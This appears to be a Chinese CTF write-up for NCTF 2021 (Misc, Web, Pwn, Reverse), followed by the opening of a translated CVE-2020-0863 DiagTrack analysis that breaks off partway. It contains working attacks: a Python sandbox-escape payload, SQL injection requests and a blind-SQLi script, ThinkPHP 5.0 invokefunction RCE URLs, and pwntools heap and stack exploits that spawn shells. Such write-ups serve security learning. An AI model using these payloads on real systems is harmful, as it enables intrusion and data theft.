执行 `foo` 就相当于执行下面这个之后的 `foo` 函数了。
foo = log(foo)
而且装饰器是可以嵌套的。
由于没有 ban `os` 这些关键字，可以直接 import 进来拿来用。
而字符的话，由于不能用引号，所以可以用 `__doc__` 从一些对象的 docstrings 文档里通过下标来取。这个要注意相应的 python
版本，这题环境是 Ubuntu Python3.6.9。
（这里推荐用 [pyenv](https://github.com/pyenv/pyenv) 来玩
另外，可以执行多行命令。由于不能用 `(`，不能构造函数了，但还可以构造对象。
其实这里只需要执行系统命令就行，也就是 `system(xxx)`.
一步步来，先用文档构造字符串
n = {}.__doc__
s = 'ls'
s = 'cat flag'
for i in s:
try:
idx = n.index(i)
except:
idx = 'error'
print(i, '===>', idx)
# l ===> 69
# s ===> 97
#
# c ===> 2
# a ===> 27
# t ===> 3
# ===> 6
# f ===> 75
# l ===> 69
# a ===> 27
# g ===> 42
试了试发现 class 里其实啥都行，比如 `object`, `list`, `int` 都行， ~~反正也就是应付个匿名函数的变量罢了~~ （？）。甚至
`pass` 也行，这么说其实也就是为了满足 class 创建的语法要求吧。
于是喵喵构造的 payload 就是
from os import system
n = {}.__doc__
l = lambda _: n[69]+n[97] # ls
f = lambda _: n[2]+n[80]+n[55]+n[6]+n[75]+n[69]+n[80]+n[88] # cat flag
@system
@f
class x:pass
实际上执行的就是
system((lambda _:'cat flag')(x))
成功啦！
再看官方 wp，这个就更一般化了。
b=[].__class__.__base__.__class__.__subclasses__
d=[].__doc__
n={}.__doc__
_=lambda _:[].__class__.__base__
@b
@_
class s:_
l=s[69]
q=lambda _:d[66]+d[2]
p=lambda _:n[2]+n[80]+n[55]+n[6]+n[75]+d[0]+n[80]+n[88]
@l.load_module
@q
class o:_
@o.system
@p
class w:_
详见喵喵的注释。
b=[].__class__.__base__.__class__.__subclasses__ # <method '__subclasses__' of 'type' objects> 也就是 type.__subclasses__
d=[].__doc__ # "list() -> new empty list\nlist(iterable) -> new list initialized from iterable's items"
n={}.__doc__ # "dict() -> new empty dictionary\ndict(mapping) -> new dictionary initialized from a mapping object's\n (key, value) pairs\ndict(iterable) -> new dictionary initialized as if via:\n d = {}\n for k, v in iterable:\n d[k] = v\ndict(**kwargs) -> new dictionary initialized with the name=value pairs\n in the keyword argument list. For example: dict(one=1, two=2)"
_=lambda _:[].__class__.__base__ # <class 'object'>
@b
@_
class s:_ # s => type.__subclasses__(object) 是个包含各种class的list
l=s[69] # <class '_frozen_importlib.BuiltinImporter'>
q=lambda _:d[66]+d[2] # os
p=lambda _:n[2]+n[80]+n[55]+n[6]+n[75]+d[0]+n[80]+n[88] # cat flag
@l.load_module
@q
class o:_ # o => <module 'os' (built-in)>
@o.system
@p
class w:_
一步步加载模块 load_module `os`，最后利用其中的 `system` 执行 `cat flag`。
另外找资料的时候还有一些神奇的发现，列在下面了。
> **Extensive Readings:**
>
> * [Python模板注入(SSTI)深入学习](https://xz.aliyun.com/t/6885)
> * [总结 – CTF中的SSTI0x01](https://morblog.cc/posts/21233/) 里面总结了好多种过滤字符的绕过方法
> * [浅析SSTI(python沙盒绕过)](http://flag0.com/2018/11/11/%E6%B5%85%E6%9E%90SSTI-> python%E6%B2%99%E7%9B%92%E7%BB%95%E8%BF%87/)
> * 郁离歌丶的 [python安全之学习笔记（一）](http://yulige.top/?p=502)
> python沙盒逃逸，任意命令执行的一些函数和模块，balabala
> * [[译]PlaidCTF中一道PyJail逃逸题目分析 ](https://www.gem-love.com/ctf/2345.html)
> python2 中 `x` 和 `repr(x)` 完全等价，这题仅仅通过 `set([':', '%', "'", '', '(', ',',
> ')', '}', '{', '[', '.', ']', '<', '_', '~'])` 中的字符来获得代码。利用符号通过 True False
> 来创造数字，再通过切片得到字符。感觉有点类似与 Brainfuck 了。
> * [一道有趣的pyjail题目分析](https://xz.aliyun.com/t/9271) 用 Unicode 绕过，在 python3
> 中支持 Non-ASCII Identifies 并且所有都会被转换成 unicode 的NFKC
> 也就是标准模式。[unicode字符大全](http://www.52unicode.com/mathematical-alphanumeric-> symbols-zifu)
> *
> [Python黑魔法-[]绕过空格实现变量覆盖](https://aluvion.github.io/2019/05/02/Python%E9%BB%91%E9%AD%94%E6%B3%95-%E7%BB%95%E8%BF%87%E7%A9%BA%E6%A0%BC%E5%AE%9E%E7%8E%B0%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96/)
> 过滤等号时用 for 循环覆盖变量，过滤空格时用 list 生成器和中括号。可以先把过滤的变量给覆盖掉，再 RCE 或者读文件什么的。
>
> > >>> a = 0
> >>> for a in [1]:
> ... pass
> ...
> >>> a
> 1
> >>> a = 0
> >>> [[str][0]for[a]in[[1]]]
> [<type 'str'>]
> >>> a
> 1
>
>
>
### Hello File Format
> 题目描述:
>
>
> aiQG_ is learning to develop programs for macOS GPU.
> He got a file from the GPU, but he couldn't read it.
> Can you translate this file for him?
>
>
> 附件链接:
>
>
> 链接：https://pan.baidu.com/s/1swBiyWrAx33M8DDJh7LtNQ
> 提取码：uo1v
> https://wwn.lanzoui.com/ix6wXwyi0ih
>
>
> hint:
>
>
> aiQG_ wanted to render one frame of 1920*1080
>
一个 bin 文件，里面巨多的 0xff
总长度 0x5EEC00，提示说他在渲染一张 1920*1080 的图，除一下发现正好是3倍长度，很明显是 RGB 了。
Exp:
# >>> 1920*1080
# 2073600
# >>> hex(1920*1080)
# '0x1fa400'
# >>> 0x5EEC00/0x1fa400
# 3.0
from PIL import Image
with open('GPU data.bin', 'rb') as f:
s = f.read()
l = [(s[i], s[i+1], s[i+2]) for i in range(0, len(s), 3)]
img = Image.new('RGB', (1920, 1080))
img.putdata(l)
# img.show()
img.save('GPU data.png')
# NCTF{TGA_NOT_GTA}
看了官方 wp 说这个是 [tga 格式](https://en.wikipedia.org/wiki/Truevision_TGA)
> TGA files commonly have the extension “.tga” on PC DOS/Windows systems and
> macOS (older Macintosh systems use the “TPIC” type code). The format can
> store image data with 8, 15, 16, 24, or 32 bits of precision per pixel[3] –
> the maximum 24 bits of RGB and an extra 8-bit alpha channel. Color data can
> be color-mapped, or in direct color or truecolor format. Image data may be
> stored raw, or optionally, a lossless RLE compression similar to PackBits
> can be employed. This type of compression performs poorly for typical
> photographic images, but works acceptably well for simpler images, such as
> icons, cartoons and line drawings.
### 做题做累了来玩玩游戏吧
> 题目描述：
>
>
> 做了一天的题目，都累了吧，快来玩玩我新写的飞机大战吧，只要通关就能获得flag哟～
> 对了，如果你真的想玩游戏，也许你需要一个mac，Intel和Apple silicon芯片都支持
>
>
> 附件链接：
>
>
> https://attachment.h4ck.fun:9000/misc/PlaneFire.app.tar.gz
> https://upyun.clq0.top/PlaneFire.app.tar.gz
> https://nctf.slight-wind.com/misc/PlaneFire.app.tar.gz
>
好像是个 unity 的游戏，题目说要用 mac，Intel 和 Apple silicon 芯片都支持才能玩游戏，可恶啊！
不如直接去资源文件里翻垃圾
很好。
## Web
### ezsql
> 题目描述: 这还能注入吗 <http://129.211.173.64:3080/login.php>
>
> 附件链接： <http://129.211.173.64:3080/www.zip>
`login.php`
//...
<?php
if (isset($_POST['password'])){
$query = db::prepare("SELECT * FROM `users` where password=md5(%s)", $_POST['password']);
if (isset($_POST['name'])){
$query = db::prepare($query . " and name=%s", $_POST['name']);
}
else{
$query = $query . " and name='benjaminEngel'";
}
$query = $query . " limit 1";
$result = db::commit($query);
if ($result->num_rows > 0){
die('NCTF{ez');
}
else{
die('Wrong name or password.');
}
}
//...
`DB.php`
<?php
class DB{
private static $db = null;
public function __construct($db_host, $db_user, $db_pass, $db_database){
static::$db = new mysqli($db_host, $db_user, $db_pass, $db_database);
}
static public function buildMySQL($db_host, $db_user, $db_pass, $db_database)
{
return new DB($db_host, $db_user, $db_pass, $db_database);
}
public static function getInstance(){
return static::$db;
}
public static function connect_error(){
return static::$db->connect_errno;
}
public static function prepare($query, $args){
if (is_null($query)){
return;
}
if (strpos($query, '%') === false){
die('%s not included in query!');
return;
}
// get args
$args = func_get_args();
array_shift( $args );
$args_is_array = false;
if (is_array($args[0]) && count($args) == 1 ) {
$args = $args[0];
$args_is_array = true;
}
$count_format = substr_count($query, '%s');
if($count_format !== count($args)){
die('Wrong number of arguments!');
return;
}
// escape
foreach ($args as &$value){
$value = static::$db->real_escape_string($value);
}
// prepare
$query = str_replace("%s", "'%s'", $query);
$query = vsprintf($query, $args);
return $query;
}
public static function commit($query){
$res = static::$db->query($query);
if($res !== false){
return $res;
}
else{
die('Error in query.');
}
}
}
?>
`config.php`
<?php
$db_host = "db";
$db_user = "mysql";
$db_pass = "mysql123";
$db_database = "2021";
include 'DB.php';
DB::buildMySQL($db_host, $db_user, $db_pass, $db_database);
if(db::connect_error()){
die('Error whiling connecting to DB');
}
?>
参考 [Hack.lu CTF 2021 Diamond Safe
一题的一部分](https://www.creastery.com/blog/hack.lu-ctf-2021-web-challenges/)，几乎是原题吧。
由于用了两次 `db::prepare`，而第二次直接拼接了之前的 `$query`，于是可以在第一次的时候 `password` 参数传
`%s`，而后在第二次通过数组传 `name`，从而依次给两个 `%s` 赋值，这样就能实现 sql 注入了。
payload:
POST /login.php HTTP/1.1
Host: 129.211.173.64:3080
Content-Length: 62
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://129.211.173.64:3080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://129.211.173.64:3080/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
password=%s&name[0]=)+or+1%3d1+union+select+1,2,3--+&name[1]=a
得到第一部分flag：`NCTF{3v3ryth1ng_`
提示说另一部分在数据库里。
然后拿 sqlmap 盲注一下 `name[0]` 参数就行。这里是时间盲注，布尔盲注应该也行。要是二分法更快了。
Payload: password=%s&name[0]=) AND (SELECT 8543 FROM (SELECT(SLEEP(5)))zAnj)-- kVPP&name[1]=a
发现 flag 在 `2021` 数据库下的 `NcTF` 表里，列名为 `fl[@g](https://github.com/g "@g")`。
这个 `fl[@g](https://github.com/g "@g")` 要拿反引号包一下，不然就全是 NULL 了。
sqlmap -r payload.txt --random-agent -p "name[0]" -D 2021 -T NcTF -C '`fl@g`' --dump -v
得到 `not_fantast1c_:)}`
`NCTF{3v3ryth1ng_not_fantast1c_:)}`
### 摆就完事了
> 题目描述： 啊对对对 太对辣太对辣
>
> target 1: <http://129.211.173.64:8085/public/index.php/index/index/index>
> target 2: <http://47.101.160.205:8085/public/index.php/index/index/index>
>
> 备注： if you get no idea about the problem,there is no harm in diffing the
> source code with the official one.
ThinkPHP v5.0.16
`www.zip` 有源码
不过发现直接拿那个经典 RCE 的来打就行。
http://129.211.173.64:8085/public/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
http://129.211.173.64:8085/public/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat${IFS}/flag
或者找个现成工具（
`nctf{m1saka_wanna_kaibai}`
### 摆就完事了2.0
> 题目描述：
> 卷起来 不准摆！
> target: <http://129.211.173.64:8086/public/index.php/index/index/index>
这题也给了 www.zip 源码。
和上面一题源码 diff 一下。
可以发现把那个 RCE 的给修了，而且给了个 `ffllaagg.php`，应该就是要读这个文件了。
那还是接着看他控制器吧。
`application/index/controller/M1sakaM1yuu.php`
<?php
/*
* @Author: m1saka@x1ct34m
* @blog: www.m1saka.love
*/
namespace app\index\controller;
function waf($str){
if(preg_match("/system| |\*|union|insert|and|into|outfile|dumpfile|infile|floor|set|updatexml|extractvalue|length|exists|user|regexp|;/i", $str)){
return true;
}
}
class M1sakaM1yuu
{
public function index()
{
$username = request()->get('username/a');
$str = implode(',',$username);
if (waf($str)) {
return '<img src="http://www.m1saka.love/wp-content/uploads/2021/11/hutao.jpg" alt="hutao" />';
}
if($username){
db('m1saka')->insert(['username' => $username]);
return '啊对对对';
}
else {
return '说什么我就开摆';//
}
}
}
按理说，访问 <http://129.211.173.64:8086/public/index.php/index/M1sakaM1yuu/index>
应该就能到这里，但是这里不行。
为了访问到这里，特地去看了 [ThinkPHP 的控制器路由](https://www.kancloud.cn/thinkphp/controller-in-detail/250868)，这个是驼峰命名法。
这道题里 `url_convert` 就设置为 `true`，所以就只能通过 下划线 的方式来访问了。
正如出题人的回复：
>
> 出题的时候特意定义了一个使用驼峰命名法的控制器M1sakaM1yuu，在thinkPHP官方文档中，访问的正确方式应该是index/m1saka_m1yuu/index，中间使用下划线隔开，但是兼容了index/M1sakaM1yuu/index这样的访问方式，这也是在《摆就完事了》中此访问方式能访问到的原因。但是在《摆就完事了2.0》中我加上了官方补丁取消非预期解法，官方补丁不允许路由中存在大写字母，所以会返回404。希望大家以后在开发和代码审计时能注意到这个细节。
于是应该访问 <http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index>
接下来就是 SQL 注入了。
> 还好出题人给了 sql 文件，可以方便复现。
>
>
> DROP DATABASE IF EXISTS `nctf`;
> CREATE DATABASE nctf;
> GRANT SELECT,INSERT,UPDATE,DELETE on nctf.* to nctf@'127.0.0.1'
> identified by 'nctf';
> GRANT SELECT,INSERT,UPDATE,DELETE on nctf.* to nctf@localhost identified
> by 'nctf';
> GRANT ALL PRIVILEGES on *.* to nctf@'127.0.0.1' WITH GRANT OPTION;
> GRANT ALL PRIVILEGES on *.* to nctf@localhost WITH GRANT OPTION;
> flush privileges;
> use nctf;
>
> CREATE TABLE `m1saka` (
> `id` integer(9) AUTO_INCREMENT,
> `username` varchar(20) NOT NULL,
> `password` varchar(50) NULL,
> `flag_in_ffllaagg.php` varchar(100) NULL,
> `age` int(5) NULL,
> PRIMARY KEY (`id`)
> );
>
> INSERT INTO `m1saka`
> (`username`,`password`,`flag_in_ffllaagg.php`,`age`) VALUES
> ('m1saka','marry_dingnan','Admin',999);
>
>
> 这里也提示了 flag 在那个文件里。
这里复现一下，由于目前主办方还没有开源题目，这里就用 DASCTF 的模板自己造一个 Dockerfile 好了。
FROM dasctfbase/web_php56_apache_mysql
COPY www /var/www/html
# 如需操作数据库请将 sql 文件拷贝到 /db.sql
COPY www/db.sql /db.sql
# 请声明对外暴露端口
EXPOSE 80
docker build -t nctf2021_bai .
docker run -it -d -p 8000:80 nctf2021_bai:latest
docker ps
# xxxxx
# 进去改 MySQL 配置
docker exec -it xxxx /bin/bash
首先需要把 MySQL 的 `secure_file_prive` 全局参数设为空（不是 `NULL`）。
设置之前，是读不到其他文件的。
> 1. 限制 mysql 不允许导入 | 导出`--secure_file_prive=null`
> 2. 限制 mysql 的导入 | 导出 只能发生在 `/tmp/` 目录下`--secure_file_priv=/tmp/`
> 3. 不对 mysql 的导入 | 导出做限制`--secure_file_priv=`
>
echo 'secure_file_priv=' >> /etc/mysql/mysql.conf.d/mysqld.cnf
然后重启容器，这样就能读到文件了。
现在就可以访问
<http://127.0.0.1:8000/public/index.php/index/m1saka_m1yuu/index?username=>
进入到所需的控制器了。
接下来就是 SQL 注入环节。
对比一下官方源码，有个 `EXP` 的过滤给去掉了。
跟着 `db('m1saka')->insert(['username' => $username]);` 看 `insert`
所以只需要传个数组（array），然后第0个元素是 `exp`，第1个元素放注入的内容就完事了。
再来看 waf。
function waf($str){
if(preg_match("/system| |\*|union|insert|and|into|outfile|dumpfile|infile|floor|set|updatexml|extractvalue|length|exists|user|regexp|;/i", $str)){
return true;
}
}
相当于把写文件的那些都过滤掉了。再考虑到提示了是读文件，于是试着构造时间盲注。
GET /public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=if((select(substr(load_file("/var/www/html/ffllaagg.php"),1,1))=0x3c),sleep(3),0)
先在 docker 里的 mysql 试试。
Exp:
这里本地调试，延时就设的短一点了，实际根据需要调整一下就行。（
# MiaoTony
import requests
import time
import string
url = r'http://xxxxxx:xxxx/public/index.php/index/m1saka_m1yuu/index'
s = r'{}<>?. ' + string.ascii_letters + string.digits + r'!@#$%^&*()_-+="\'\\/'
flag = ''
for i in range(1, 100):
for j in s:
payload = f'select(substr(load_file("/var/www/html/ffllaagg.php"),{i},1))={hex(ord(j))}'
# print(payload)
param = {'username[0]': 'exp',
'username[1]': f'if(({payload}),sleep(1.5),0)'}
t = time.time()
r = requests.get(url, params=param)
if time.time() - t > 1:
flag += j
print(f'[+] {i} {j} {flag}')
break
# username[0]=exp&username[1]=if((select(substr(load_file("/var/www/html/ffllaagg.php"),1,1))=0x3c),sleep(3),0)
# username[0]=exp&username[1]=sleep(if((select(substr(load_file("/var/www/html/ffllaagg.php"),1,1))=0x3c),3,0))
完事。
另外本地还可以把 `config.php` 里的 debug 和 trace 改成 true，来调试看看调用栈。
比如故意在 SQL 里加个 `'`，然后看看。
## Pwn
### ezheap
> 题目描述:
>
>
> 总之就是非常简单
> nc 129.211.173.64 10002
>
>
> 附件链接:
>
>
> http://download.kagehutatsu.com/Download/ezheap.zip
> https://attachment.h4ck.fun:9000/pwn/ezheap/ezheap.zip
> https://nctf.slight-wind.com/pwn/ezheap/ezheap.zip
>
简单uaf，直接打free_hook
from pwn import *
context.log_level = 'debug'
# sh = process('./ezheap')
sh = remote('129.211.173.64',10002)
def menu(choice):
sh.recvuntil(">> ")
sh.sendline(str(choice))
def add(size, content):
menu(1)
sh.recvuntil(': ')
sh.sendline(str(size))
sh.recvuntil(': ')
sh.send(content)
def edit(idx, content):
menu(2)
sh.recvuntil(': ')
sh.sendline(str(idx))
sh.recvuntil(': ')
sh.send(content)
def delte(idx):
menu(3)
sh.recvuntil(': ')
sh.sendline(str(idx))
def show(idx):
menu(4)
sh.recvuntil(': ')
sh.sendline(str(idx))
for i in range(30):
add(0x70, b'a'*0x70)
delte(0)
show(0)
heap_base = u64(sh.recv(8)) << 12
log.success('heapbase: ' + hex(heap_base))
for i in range(1,7):
delte(i)
delte(7)
delte(8)
delte(7)
for i in range(7):
add(0x70,'d'*0x70)
add(0x70, 'c'*0x70)
edit(15, p64((heap_base + 0x290) ^ (heap_base >> 12))+b'\n')
add(0x70, b'a'*0x70)
add(0x70, b'a'*0x70)
add(0x70, p64(0) + p64(0x481) + b'\n')
delte(0)
show(0)
libc_base = u64(sh.recv(8)) - 0x1e0c00
log.success('libc_base: ' + hex(libc_base))
system = libc_base + 0x00000000004fa60
binsh_str = libc_base + 0x00000000001abf05
free_hook = libc_base + 0x0000000001e3e20
add(0x70, 'c'*0x70)
delte(0)
edit(15, p64((0) ^ (heap_base >> 12)) + p64(0)+b'\n')
delte(0)
edit(15, p64((0) ^ (heap_base >> 12)) + p64(0)+b'\n')
delte(0)
edit(15, p64((free_hook) ^ (heap_base >> 12))+b'\n')
add(0x70, b'a'*0x70)
add(0x70, p64(system) + b'\n')
add(0x20, '/bin/sh\x00')
delte(15)
sh.interactive()
### login
> 题目描述:
>
>
> Welcome, it's ez
> nc 129.211.173.64 10005
>
>
> 附件链接:
>
>
> http://download.kagehutatsu.com/Download/login.zip
> https://attachment.h4ck.fun:9000/pwn/login/login.zip
> https://nctf.slight-wind.com/pwn/login/login.zip
>
栈溢出，使用栈迁移，然后调用syscall
from pwn import *
# sh = process('./login')
sh = remote('129.211.173.64',10005)
syscall = 0x0000000000110628
close_plt = 0x401090
bin_sh_addr = 0x404800
retn_addr = 0x401220
pop_rsi_r15_ret = 0x0000000000401291
pop_rdi_ret = 0x0000000000401293
addr = 0x40128A
read_plt = 0x4010A0
# gdb.attach(sh)
sh.recvuntil('Welcome to NCTF2021!\n')
bss = 0x404500
main = 0x4011ED
payload = b'a'*0x100
payload += p64(bss)
payload += p64(main)
sh.send(payload)
# sh.recvuntil('Welcome to NCTF2021!\n')
sleep(0.2)
payload = p64(0) + p64(1) + p64(0) + p64(0x0000000000404028)
payload += p64(0x2) + p64(0x404400 + 0x38) + p64(0x401270) + p64(read_plt)
payload += p64(0) + p64(1) + p64(0) + p64(0x404900) + p64(0x3b) + p64(0x404400 + 0x78) + p64(0x401270) + p64(read_plt)
payload += p64(0) + p64(0x4044f8) + p64(0x4044f8) + p64(0) + p64(0) + p64(0x404400 + 0xb8) + p64(0x401270) + p64(close_plt)
payload = payload.ljust(0xf8, b'a') + b'/bin/sh\x00'
sh.send(payload + p64(bss - 0x110) + p64(0x4011ED))
sleep(0.2)
payload = b'a' * 0x108 + p64(0x40128A)
sh.send(payload)
sleep(0.5)
sh.send(b'\x28\x56')
sleep(0.5)
sh.send(b'a' * 0x3b)
sh.interactive()
'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
0x270b3
'''
## Reverse
### Hello せかい
> 题目描述:
>
>
> 欢迎来到NCTF-逆向工程(Reverse Engineering)
>
> 这里可能有你需要的工具:
> ida pro 7.6 :链接：https://pan.baidu.com/s/1bV2HjBBX0bwwtzORqhErOg 提取码：o49x
>
>
> 附件链接:
>
>
> 链接：https://pan.baidu.com/s/1qPHbnzNrg-8ocG2CkYh_4w
> 提取码：mbxp
>
> https://attachment.h4ck.fun:9000/reverse/Hello%20%E3%81%9B%E3%81%8B%E3%81%84/WelcomeToNCTF-> RE.zip
> https://nctf.slight-> wind.com/reverse/Hello%20%E3%81%9B%E3%81%8B%E3%81%84/WelcomeToNCTF-RE.zip
>
flag 如图所示
### Shadowbringer
> 题目描述:
>
>
> One brings shadow, one brings light.
> Two-toned echoes, tumbling through time.
> Threescore wasted, ten cast aside.
> Four-fold knowing, no end in sight.
> ---EZCPP FOR YOU, JUST HAVE FUN!--->
>
> 附件链接:
>
>
> 链接：http://39.102.33.27:5212/#/s/rwSw
> https://upyun.clq0.top/Shadowbringer.exe
>
本质上为自制双重base64，连续修改了俩表，反过来运算即可
table = "#$%&'()*+,-.s0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[h]^_`ab"
# ans_index = [8, 59, 1, 32, 7, 52, 9, 31, 24, 36, 19, 3, 16, 56, 9, 27, 8, 52, 19, 2, 8, 34, 18, 3, 5, 6, 18, 3, 15, 34, 18, 23, 8, 1, 41, 34, 6, 36, 50, 36, 15, 31,43, 36, 3, 21, 65, 65]
# table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
def find_real_string():
return ''.join(table[i-1] for i in ans_index)
#!/usr/bin/env python3
def myBase64Encode(preCoding):
charTable = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' #字符表
if len(preCoding) < 0:
return '' #字符串为空则返回空
lackCharNums = 3 - len(preCoding) % 3
if lackCharNums == 3 : lackCharNums = 0 #整除说明不缺字符
#待转换字符不是3的倍数的情况补全它
for i in range(lackCharNums) :
preCoding = preCoding + b'\x00'
result = '' #用于保存最终结果的str数据
rp = '' #处理补全字符时的暂存变量
#每三个字符处理一轮
for i in range(int(len(preCoding) / 3)):
threeChar = preCoding[i * 3 : i * 3 + 3] #取三个字符出来
tCode = '' #用于存放三个字符拼接后的二进制数值 文本形式
pCode = '' #暂存变量
for j in range(3) :
pCode = bin(threeChar[j])[2 :] #把省略的0补上
lackZeroNums = 8 - len(pCode) #省略的0的个数
for x in range(lackZeroNums):
pCode = '0' + pCode
tCode = tCode + pCode
pCode = ''
for j in range(4): #每6位一个字符
pCode = tCode[j * 6 : j * 6 + 6]
rp = rp + charTable[int(pCode, 2)]
#处理补全的00字符
result = rp[: len(rp) - lackCharNums]
for j in range(lackCharNums):
result = result + '='
return bytes(result, encoding = "utf-8")
def myBase64Decode(encodedBin) :
charTable = "#$%&\x27()*+,-.s0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[h]^_`ab\x00" #字符表
#如果字符不是4的倍数 返回空
if not len(encodedBin) % 4 == 0 :
return ''
tCode = '' #用于存放最终的二进制文本字符串
pCpde = '' #暂存变量
#遍历encodedBin每一个字符
for i in encodedBin:
for j in range(len(charTable)): #找到表中对应坐标
if chr(i) == charTable[j]:
pCode = bin(j)[2 :] #转二进制去除开头的0b
lackZeroNums = 6 - len(pCode) #省略的0的个数
for x in range(lackZeroNums):
pCode = '0' + pCode
tCode = tCode + pCode
pCode = ''
result = '' #储存最终结果
print(tCode)
for i in range(int(len(tCode) / 8)):
pCode = tCode[i * 8 : i * 8 + 8]
result = result + chr(int(pCode, 2))
return bytes(result, encoding = "utf-8")
# print(myBase64Encode(b"helloworld"))
# print(myBase64Decode(b"U>F2UsQXN`5sXMELT=:7M_2<X]^1ThaWF0=KM?9IUhAsTM5:T==_Ns&<Vhb!"))
tmp = b'6G074JP+s)WV:Z+T<&(Q18`Ks)WV:Y4hs9[h:YCS?&0`'
print(myBase64Decode(tmp))
### 鲨鲨的秘密
> 题目描述:
>
>
> 听说这是狗狗的秘密
>
>
> 附件链接:
>
>
> 链接：http://39.102.33.27:5212/#/s/D3Un
> https://upyun.clq0.top/attachment_1.exe
>
用了一个一次执行一句话的汇编实现的CRC32，爆破即可获得答案:
import zlib
result = [ -1057595298,
11628042,
857318098,
1472903095,
-1704694372,
-1109907674,
-667354223,
-1914631245,
392891821,
1751113455,
740292529,
1816412822,
-1587741040,
550340385,
1654029544,
739656189,
1462570906,
-1370301396,
1346993615,
-9781430]
def find_str(index):
for i in range(128):
for j in range(128):
tmp = bytes([i,j])
res = zlib.crc32(tmp) % (1<<32)
if res == (result[index] % (1<<32)):
return chr(i)+chr(j)
# else:
# return "ERROR"
index = 0
ans = ''
while index < len(result):
ans += find_str(index)
index += 1
print(index)
print(ans)
## 小结
啊啊啊啊啊，这比赛 web 题目太难了吧！！！！
Misc 那个 python 过滤 `(` 下的命令执行还是挺有意思的，学到了许多。
Web 咋一堆 Java 啊，欺负咱玩不来 Java，嘤嘤嘤。还有俩 XSS，一个 NodeJS 一个
Golang，本来还想做做的，试了试不会，看了提示根本没想到是啥东西，摸了，太顶了！
Reverse 有个 mobile 的题目，看 wp 应该比 web 简单，要不是他排在最后一题的位置，早知道就去看他了（害，不就是喵喵太菜了想多做几题
web，Crypto 咱也不会，唉
大家看看 web 最后的解题情况，来自群友的截图——
怎么说呢，本来还说想来恰烂钱的，结果啥也没恰到，好亏啊啊啊啊！摆烂了摆烂了。
当然，还要感谢队友和喵喵一起来玩。
还是要好好学习学习喵。
欢迎各位大师傅们来 [咱博客](https://miaotony.xyz/?utm_source=anquanke) 逛逛喵~
_（溜了溜了喵~_ | 社区文章 |
# CVE-2020-0863：Windows Diagnostic Tracking Service任意文件读取漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 itm4n，文章来源：itm4n.github.io
原文地址：<https://itm4n.github.io/cve-2020-0863-windows-diagtrack-info-disclo/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
虽然这个漏洞不能直接实现完整权限提升，不能以`NT
AUTHORITY\SYSTEM`权限执行代码，但由于利用过程中涉及一些”小技巧“，因此还是比较有趣。Diagnostic Tracking
Service（诊断跟踪服务，也称为Connected User Experiences and Telemetry
Service）可能是比较有争议的一个Windows功能，该功能用来收集用户和系统数据。我在该服务中发现了一个信息泄露漏洞（这件事情本身就有点讽刺意味），利用该漏洞，本地用户可以在`NT
AUTHORITY\SYSTEM`上下文中读取任意文件。
## 0x01 DiagTrack RPC接口
这里我们将重点从COM转到RPC（Remote Procedure Call，远程过程调用）上，我们可以使用RpcView查看Diagtrack提供的接口。
该服务公开了多个接口，这里我们重点关注的是UUID为`4c9dbf19-d39e-4bb9-90ee-8f7179b20283`的接口，该接口有37个方法，因此可能也存在更大的攻击面。
我找到的漏洞位于`UtcApi_DownloadLatestSetting`方法中。
## 0x02 UtcApi_DownloadLatestSettings方法
RpcView可以帮我们生成RPC接口对应的IDL（Interface Definition
Language，接口定义语言）文件。经过编译后，我们可知`UtcApi_DownloadLatestSettings`对应的C函数原型如下所示：
long DownloadLatestSettings(
/* [in] */ handle_t IDL_handle,
/* [in] */ long arg_1,
/* [in] */ long arg_2
)
该函数第一个参数为RPC绑定句柄，剩下两个参数目前尚未澄清。
>
> 如果大家不熟悉RPC接口的工作方式，这里简单介绍一下。在处理远程过程调用时，我们首先要使用远程接口对应的唯一标识符（这里为`4c9dbf19-d39e-4bb9-90ee-8f7179b20283`）获取该接口对应的句柄。随后，我们可以使用该句柄来调用相应的方法。因此，远程方法的第1个参数通常为一个`handle_t`参数。这也是大部分接口的工作方式。
获得远程接口的绑定句柄后，我首先尝试使用如下参数调用该函数：
RPC_BINDING_HANDLE g_hBinding;
/* ... initialization of the binding handle skipped ... */
HRESULT hRes;
hRes = DownloadLatestSettings(g_hBinding, 1, 1);
然后我使用Process Monitor观察后台进行的文件操作：
虽然这个服务运行在`NT AUTHORITY\SYSTEM`上下文中，我注意到该服务会尝试枚举如下目录中的XML文件，而该目录的所有者为当前登录用户：
C:\Users\lab-user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\Tips\
我在测试环境中使用的用户为`lab-user`，该用户为具备标准权限的正常用户，不具备任何管理员权限。我们之所以能观察该操作，是因为目标服务调用了`diagtrack.dll`中`FindFirstFileW()`：
默认情况下，这似乎是一个空文件夹，因此我在其中创建了一些XML文件：
然后再次运行测试程序，可以观察到如下结果：
